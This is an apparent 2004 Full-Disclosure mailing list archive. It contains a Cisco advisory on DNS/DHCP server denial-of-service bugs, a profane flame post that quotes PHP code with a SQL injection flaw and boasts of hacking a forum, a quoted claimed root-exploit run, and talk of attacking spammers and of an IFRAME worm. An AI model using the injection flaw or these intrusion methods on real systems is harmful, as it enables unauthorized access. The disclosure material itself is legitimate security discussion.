    Revision History
    Cisco Security Procedures

- -------------------------------------------------------------------------------

Summary
=======

Cisco CNS Network Registrar Domain Name Service /Dynamic Host Configuration
Protocol (DNS/DHCP) server for the Windows Server platforms is vulnerable to a
Denial of Service attack when a certain crafted packet sequence is directed to
the server. Cisco has made free software available to address this
vulnerability for all affected customers.

The vulnerabilities are documented as the following Cisco Bug IDs: CSCeg27625
and CSCeg27614.

This advisory will be posted at http://www.cisco.com/warp/public/707/
cisco-sa-20041202-cnr.shtml.

This advisory will also be posted at the Cisco CNS Network Registrar internal
web site at: http://csg.cisco.com/nmtg/insmbu/products/cnr/index.cfm?qsolution=
CNR&qsection=Product+Bulletins.

Affected Products
=================

Vulnerable Products
- -------------------

Cisco CNS Network Registrar for Windows NT server and Windows 2000

Two issues are described in this advisory CSCeg27625 and CSCeg27614. Cisco CNS
Network Registrar version 6.0 through 6.1.1.3 are affected by CSCeg27625.
However, all versions upto and including version 6.1.1.3 are also affected by
CSCeg27614 .

Products Confirmed Not Vulnerable
- ---------------------------------

The following Cisco Network Registrar products are not vulnerable to the issues
described in this advisory:

  * Cisco Network Registrar for Unix
  * Cisco Network Registrar for Linux

No other Cisco products are currently known to be affected by these
vulnerabilities.

Details
=======

Cisco CNS Network Registrar is a DNS and DHCP server installed on Windows NT
servers and Windows 2000 servers. Two separate vulnerabilities may impact
system stability or availability if exploited. These issues are detailed below:

  * CSCeg27625 -The Cisco CNS Network Registrar CCM (Central Configuration
    Management) server may consume almost 100% of the system CPU when a remote
    user ends a connection after sending a specific sequence of packets. The
    server agent must be restarted to clear this condition.
  * CSCeg27614 -The Cisco CNS Network Registrar lock manager process may crash
    when the system receives an unexpected packet sequence. This will cause the
    CCM server to also fail. You must restart the server agent to resume normal
    operations.

These issues are unrelated to the recent Cisco Security Advisory regarding
Cisco IOS DHCP implementation. http://www.cisco.com/warp/public/707/
cisco-sa-20041110-dhcp.shtml These issues are also unrelated to the recent
UNIRAS advisory regarding DNS. http://www.uniras.gov.uk/l1/l2/l3/alerts2004/
alert-4004.txt

Impact
======

Exploitation of either CSCeg27625 or CSCeg27614 can result in a denial of
service attack, stemming from system resource starvation or unavailability.

Software Versions and Fixes
===========================

The two issues are fixed in the 6.1.1.4 patch release. Releases are available
for download to registered customers on CCO at: http://www.cisco.com/cgi-bin/
Software/Tablebuild/tablebuild.pl/nr-eval

Customers who are using Cisco Network Registrar 5.5 versions must request a new
license key for the Cisco CNS Network Registrar 6.1.1.x release before
obtaining the patched 6.1.1.4 release from CCO. Version 5.5 license keys are
incompatible with the Cisco CNS Network Registrar 6.0 or 6.1 software releases.
To request a new license key, any customer wishing to upgrade version 5.5 to
version 6.1 software should send an electronic mail message to
cnr-psirt-updatecisco.com, and provide the customer name, address, contact
name and existing version 5.5 license key string in the body of the message
along with a line indicating `CNR PSIRT upgrade for Windows request'. A new
license key will be dispatched via email to the requestor, allowing them to
install and upgrade to the patched 6.1.1.4 release using the new license key.

When considering software upgrades, please also consult http://www.cisco.com/
warp/public/707/advisory.html and any subsequent advisories to determine
exposure and a complete upgrade solution.

In all cases, customers should exercise caution to be certain the devices to be
upgraded contain sufficient memory and that current hardware and software
configurations will continue to be supported properly by the new release. If
the information is not clear, contact the Cisco Technical Assistance Center ("
TAC") for assistance. TAC contacts are as follows.

  * +1 800 553 2447 (toll free from within North America)
  * +1 408 526 7209 (toll call from anywhere in the world)
  * e-mail: taccisco.com

Obtaining Fixed Software
========================

Customers with Service Contracts
- --------------------------------

Customers with contracts should obtain upgraded software through their regular
update channels. For most customers, this means that upgrades should be
obtained through the Software Center on Cisco's worldwide website at http://
www.cisco.com.

Customers using Third-party Support Organizations
- -------------------------------------------------

Customers whose Cisco products are provided or maintained through prior or
existing agreement with third-party support organizations such as Cisco
Partners, authorized resellers, or service providers should contact that
support organization for assistance with the upgrade, which should be free of
charge.

Customers without Service Contracts
- -----------------------------------

Customers who purchase direct from Cisco but who do not hold a Cisco service
contract and customers who purchase through third-party vendors but are
unsuccessful at obtaining fixed software through their point of sale should get
their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC
contacts are as follows.

  * +1 800 553 2447 (toll free from within North America)
  * +1 408 526 7209 (toll call from anywhere in the world)
  * e-mail: taccisco.com

Please have your product serial number available and give the URL of this
notice as evidence of your entitlement to a free upgrade. Free upgrades for
non-contract customers must be requested through the TAC.

Please do not contact either "psirtcisco.com" or "security-alertcisco.com"
for software upgrades.

See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional
TAC contact information, including special localized telephone numbers and
instructions and e-mail addresses for use in various languages. Customers may
only install and expect support for the feature sets they have purchased. By
installing, downloading, accessing or otherwise using such software upgrades,
customers agree to be bound by the terms of Cisco's software license terms
found at http://www.cisco.com/public/sw-license-agreement.html, or otherwise
set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/
sw-usingswc.shtml.

Workarounds
===========

These vulnerabilities can be mitigated by placing access lists on adjacent
network devices such as routers or firewalls to block inbound connections to
all high or ephemeral port numbers, including the CCM port.

If remote access to the Cisco CNS Network Registrar is required, it is
recommended that trusted hosts be explicitly permitted in access control lists,
and all other connection attempts blocked. Remote connection CLI ports are tcp
2875 & tcp 2876, and the default port number for CCM is tcp1234, which can also
be configured to a different port number. Access lists permitting selective
access to these ports from trusted IP addresses can mitigate this
vulnerability.

The effectiveness of any workaround is dependent on specific customer
situations such as product mix, network topology, traffic behavior, and
organizational mission. Due to the variety of affected products and releases,
customers should consult with their service provider or support organization to
ensure any applied workaround is the most appropriate for use in the intended
network before it is deployed.

Exploitation and Public Announcements
=====================================

The Cisco PSIRT is not aware of any public announcements or malicious use of
the vulnerability described in this advisory.

The discovery and documentation of this vulnerability was conducted by the
Qualys Security Research Team. More information about the Qualys Security
Research Team can be found at their website: http://www.qualys.com

Status of This Notice: FINAL
============================

THIS ADVISORY IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF
GUARANTEE OR WARRANTY, INCLUDING THE WARRANTY OF MERCHANTABILITY. YOUR USE
OF THE INFORMATION ON THE ADVISORY OR MATERIALS LINKED FROM THE ADVISORY IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS NOTICE
AT ANY TIME.

A stand-alone copy or Paraphrase of the text of this Security Advisory that
omits the distribution URL in the following section is an uncontrolled copy,
and may lack important information or contain factual errors.

Distribution
============

This advisory will be posted on Cisco's worldwide website at http://
www.cisco.com/warp/public/707/cisco-sa-20041202-cnr.shtml.

In addition to worldwide web posting, a text version of this notice is
clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail
and Usenet news recipients.

  * cust-security-announcecisco.com
  * first-teamsfirst.org (includes CERT/CC)
  * bugtraqsecurityfocus.com
  * vulnwatchvulnwatch.org
  * ciscospot.colorado.edu
  * cisco-nsppuck.nether.net
  * full-disclosurelists.netsys.com
  * comp.dcom.sys.cisconewsgate.cisco.com

Future updates of this advisory, if any, will be placed on Cisco's worldwide
website, but may or may not be actively announced on mailing lists or
newsgroups. Users concerned about this problem are encouraged to check the
above URL for any updates.

Revision History
================

+---------------------------------------------+
| Revision | 2004-December-2 | Initial public |
| 1.0 | | release. |
+---------------------------------------------+

Cisco Security Procedures
=========================

Complete information on reporting security vulnerabilities in Cisco products,
obtaining assistance with security incidents, and registering to receive
security information from Cisco, is available on Cisco's worldwide website at
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
. This includes instructions for press inquiries regarding Cisco security
notices. All Cisco security advisories are available at http://www.cisco.com/go
/psirt.

- -------------------------------------------------------------------------------

All contents are Copyright © 1992-2004 Cisco Systems, Inc. All rights reserved.
Important Notices and Privacy Statement.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBQa888nsxqM8ytrWQEQLM1QCgmcnC72y9XslaTvm8gZhDGmgelksAoIiD
1Vl26sryOjQvjbZoAWq6Agor
=Ppka
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] RE: Isecom.org ideahamster.org and the hackerhighschool.org

your_mommahushmail.com
Date: Thu Dec 02 2004 - 11:34:41 CST

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

(fast note.. written in 2 minutes with a notepad.. )

 What the hell.. finally I understood!!! I know why you attempt to
defend isecom, all your security-lies-based-easy-money-bussines
belongs
to Pete ;)

 I've got somethings to tell you robert.. about a million things..
now
i have to express myself 'monosilabicaly' enough for you to
understand
them all.

 You, Robert.. don't buster!

> "While this may be CEH compliant.. it is not OSSTMM compliant
:)."

 It was compliant with our own compliant methodologies.. and our
methodology, like YOURS, is a mess.. little shit to sell your
customers,
all standard based (I have some more standards if you want to
include them).
YOUR methodology SHOULD be an asshole if you plain to comply all
the
standars you include into, as some of them are oppossite.. better
stop googling
looking for more standars to include and start doing security.

> Also it's a total fabrication of what you actually did. You
actually exploited
> a PHP problem in the forums. Some of your humor would be funny
and even appreciated
> if you had enough Ethics to be honest. I guess you can't even
qualify as a CEH.
> Oh well, maybe you could study up and pass the CISSP.

 Well.. as you said.. We actually "exploited" a php problem in the
forums.. A WELL KNOWN
problem. It's isecom-ideahamster-hhs fault to not update or fix
this problem? Let's
call it NEGLIGENCE.. here it's the name for that reason.. and for
you.. if you
blame NEGLIGENCE is correct.. them let us call you dumb buster too,
blame!

 Humor is a part of our lifes, as ethics.. We can afford someone
breaking us, could you?

 By the way, don't base all your skills in qualifying.. you'll get
stucked. that's it,
stop qualifying and start doing more security.

> Hehe .. wouldn't it be fun if we all could just make believe that
things
> really happened? It certainly would be a lot easier that way.

 Intelligent humor needs intelligent people to understand it.

 If you consider local exploits as dificult as you point.. stop
considering and
start doing security, money-monkey.

> Pedro, you know, with all of that desire with the right
mentoring, you may
> even become useful someday. Until you can learn to be honest
about your
> findings however, I suggest staying out of the lime light.

 Who do you think you are to educate? Is that what you've learnt at
isecom?
talk talk and talk? stop talking and start doing security, savvy.

 It was fun to pwn isecom stuff. It was not fun talk to you.. It's
like
talking to my mother, but my mother had sexual relations.. did you?

 And now that you mention..

 I was suprised when I saw your domain.. first (osstm compliant)
with the
whois.. Now I'm confussed.. Am I talking with dyadsecurity's CTO or
am i
talking to dyadsecurity system administrator? Don't you have
qualified
people to register your domain and you have to do all by yourselfs?

 Now, I don't want to see more.. but I can't.. Just get a round..
google
results are filled with your name.. conferences, forums.. tons of
places
where we have to read your stupidity (later you'll see). Stop
writting and
start doing some security!

 All your bussines is based on isecom, even one of your latest
conferences..
didn't you have your own methodology? All your bussines is based in
isecom's
shit. It's easy to understand why YOU and not Pete answered
previous email.
From qualifying through services.. all your bussines is Isecomed!
then, GO TO HELL WITH PETE!

 You can check my IP address in the downloads and start DDoSing
me.. read
osstm DoS test carefully to acomplish your mission, doggie. I
downloaded your
shit just to see what did you offer to the world.. wtf.. doogie..

Unicornscan 0.4.2
Alicorn (php web interface)

 Simple review of alicorn code..

 Line 51 of htdocs/scan_data/scan_info.php

     switch ($_GET["_action"]) {
         case "delete_confirm":
              delete_scan((int)$_GET["_scan_id"]);
              print "Scan ID: ".(int)$_GET["_scan_id"]." has been
successfully deleted.";
              print "<br/><a href=\"./scan_info.php\"
target=\"body\"><- back</a>\n";
              break;
         case "delete":
              $scan = new scanclass;
              print "<a
href=\"scan_info.php?_scan_id=".(int)$_GET["_scan_id"]."&amp;_action
=delete_confirm\">Yes, I am sure I want to ...
51: $scan = $scan->db2scan($_GET["_scan_id"]); <-------
- ---------
              $scan[0]->print_scan_info();
              // yes, this is intended behavior
         case "details":

uooooooooooooo is it a $_GET from http request withouth any
filter?? it must be an error...
look for $scan->db2scan() to see what happends....

 Line 59 of unicorn-lib/scanclass.php

       function db2scan($val = null)
        {
                dprint("Entering db2scan...");
                global $db;
59: $query = "select * from
scan".echo_on_set($val,null," where scan_id = ".$val);

 Line 96 of unicorn-lib/defines.php

function echo_on_set($dat, $ret1, $ret2="", $val="")
{
        if ($dat == $val) return $ret1;
        return $ret2;
}

 GOOBLES GOOBLES GOOBLES!!!!

 select * from scan where scan_id = $val;

 ROBUST RELIABLE USERFRIENDLY MOTHERFUCKER 0day WAREZ!!!!

 is that,, (IMHO) an sql injection flaw on a SECURITY SOFTWARE YOU
RELEASED?

 You dumb doggie.. is that isecom compliant? didn't you do reviews
of code?
oh, wait a minute.. It's not true.. Is this the security you sell?
Are
your customers reading this now? wtf.. doggie..

 I downloaded a copy of unicorscan to check also.. But I readed the
README's and
saw this:

 .....
 SPECIAL NOTE:
      if you have a development release, be carefull, there could
be `security issues'
      with it. no joke, i make mistakes often,
 .......

   Blah blah blah.. excuses.. excuses and excuses..

 .......
     we audit the code at release cycles, not before and not after
them. if you
     truely want security, please use selinux, BUT YOU MUST REVIEW
the policy and
     your system configuration as it applies to YOU.
 .......

 SO, IT SEEMS YOU DON'T UNDERSTAND SECURITY, NEITHER SECURE
DEVELOPMENT and all
 that you could offer us is "if you truely want security, please
use selinux"????
 Dumb PETE
DOGGIE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 As you metion in the readmes code is messy and there's a lot of
shit there : that works!
 HOLY SHEET! Are these your programming skills? didn't you qualify?

......
        tcp `connection' code:
                there is alot to say here. for us (on linux) it
works almost in a usable form HOWEVER it fails sometimes to connect
                because there is code missing, and the api and code
is not well thought out.
........

 XDDDDDDDD

.......
        clustering mode:
                it works for us, neener neener. but we have real
code, you dont. sorry about that.
.......

.......
what is due to be fixed cause we think it sucks:
        the configuration parser:
                its a small wonder it works, and it getting
replaced with a real implementation.
        the database interface:
                no comment. it does work however (with the database
type we like and if you read things)
........

   "is does work however?"
XDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

 And now the final shit.. ALL YOUR CUSTOMERS WOULD LIKE TO READ
STUFF:

.........
  The doCumenTaion:
        what can we say here. it sucks. the API for modules also is
messy. obviously we have to fix that before we can write
documentation
        about it, otherwise we would be wasting my time (for
example).
.........

 INCREDIBLE!!!!!!!!!!!!!!!!

 Please, Pete, keep your doggies safe, stop them to open their
mouths and
try to say something that sounds really what people want to know.

It's: You will retire soon!!

 You talk about ethics and disclosed names, companies and all..

 You talk about ethics and denied broken boxes..

 So you want war.. you'll have war.

 a little retard, you know.. another script kiddie that broke
isecom b0x.

 Ah, a little reminder.. call us script kiddies doesn't tell much
about your security
skills.. as we did exploit that php ;)

In reply to:

robertdyadsecurity.com robertdyadsecurity.com
Tue, 30 Nov 2004 15:24:22 -0800

Previous message: [Full-Disclosure] makelovenotspam website defaced

Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

- --------------------------------------------------------------------
- ------------

While this may be CEH compliant.. it is not OSSTMM compliant :).

Also it's a total fabrication of what you actually did. You
actually exploited a PHP problem in the forums. Some of your humor
would be funny and even appreciated if you had enough Ethics to be
honest. I guess you can't even qualify as a CEH. Oh well, maybe
you could study up and pass the CISSP.

> tar xvzf freebsdlocal0day-donotdistributed-suppliedby-
divineint.tgz
> make freebsdlocal0day-donotdistributed-suppliedby-divineint
> uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys),
4(tty), 5(operator), 20(staff), 31(guest)

Hehe .. wouldn't it be fun if we all could just make believe that
things really happened? It certainly would be a lot easier that
way.

Pedro, you know, with all of that desire with the right mentoring,
you may even become useful someday. Until you can learn to be
honest about your findings however, I suggest staying out of the
lime light.

Robert

- --
Robert E. Lee
CTO, Dyad Security, Inc.
W - http://www.dyadsecurity.com
E - robertdyadsecurity.com
M - (949) 394-2033

-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkGvUjYACgkQhzkSqM0TRRQFcwCfUPuM1GZTDewIPZH8oU0MuoTVe/UA
oJsaweBuPSuDw7/QR05F6Hd5xOgs
=lPaw
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program:
http://www.hushmail.com/about-affiliate?l=427

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] If Lycos can attack spammer sites, can we all start doing it?

Valdis.Kletnieksvt.edu
Date: Thu Dec 02 2004 - 11:19:02 CST

On Wed, 01 Dec 2004 22:22:30 EST, KrispyKringle said:

> The Computer Fraud and Abuse Act
> (http://www.usdoj.gov/criminal/cybercrime/1030_new.html) forbids one to,
> among other things, ``knowingly cause the transmission of a program,
> information, code, or command, and as a result of such conduct,
> intentionally cause damage without authorization, to a protected
> computer,'' which pretty much covers viruses and other malware. This
> would appear to apply to the Lycos software as well, given that it
> ``causes damage without authorization to a protected computer.'' So that
> is the key point, one that has not, to my knowledge, been tested in court.

The point that Lycos is probably betting on is the "causes damage". If their
rate-limiting works, they're *NOT* actually causing a DDoS - if the site is
still responding, claiming "damage to the computer" is quite the reach.

Damage to the bandwidth bill from your provider - that's something else. Not
sure that's a criminal offense, but I'd not be at all surprised if the ISP
left holding the bag for the unpail bill (what - you think the spammer will
actually pay for the bandwidth? ;) might go after Lycos on the "your actions
cost me money" theory of civil tort.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFBr06GcC3lWbTT17ARAjEtAJ9h2XlW1ZoxkPJ600fXbKaLVrjwnQCg92U4
OPUfzRk5ZL0kSdbIgr3/aUo=
=YROl
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Official IFRAME patch - make sure it installs correctly

From: Raoul Nakhmanson-Kulish (raoulelforsoft.com)
Date: Thu Dec 02 2004 - 10:57:39 CST

Hello, Berend-Jan Wever!

> The IFRAME vulnerability has been patched, see
> http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx
Oh! Thanks, God!

Good that nobody has hit upon an idea until now about exploiting this to
launch self-spreading mail virus without user interaction by putting
iframe into HTML message body: this hole is exploitable even in
restricted zone and millions of OE and Outlook lemmings would be doomed.

Such thought visited me nearly right away when I had known this issue.

--
Best regards,
Raoul Nakhmanson-Kulish
Elfor Soft Ltd.,
ERP Department
http://www.elforsoft.ru/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Re: Thank you!

From: Koon (koongentoo.org)
Date: Thu Dec 02 2004 - 11:02:42 CST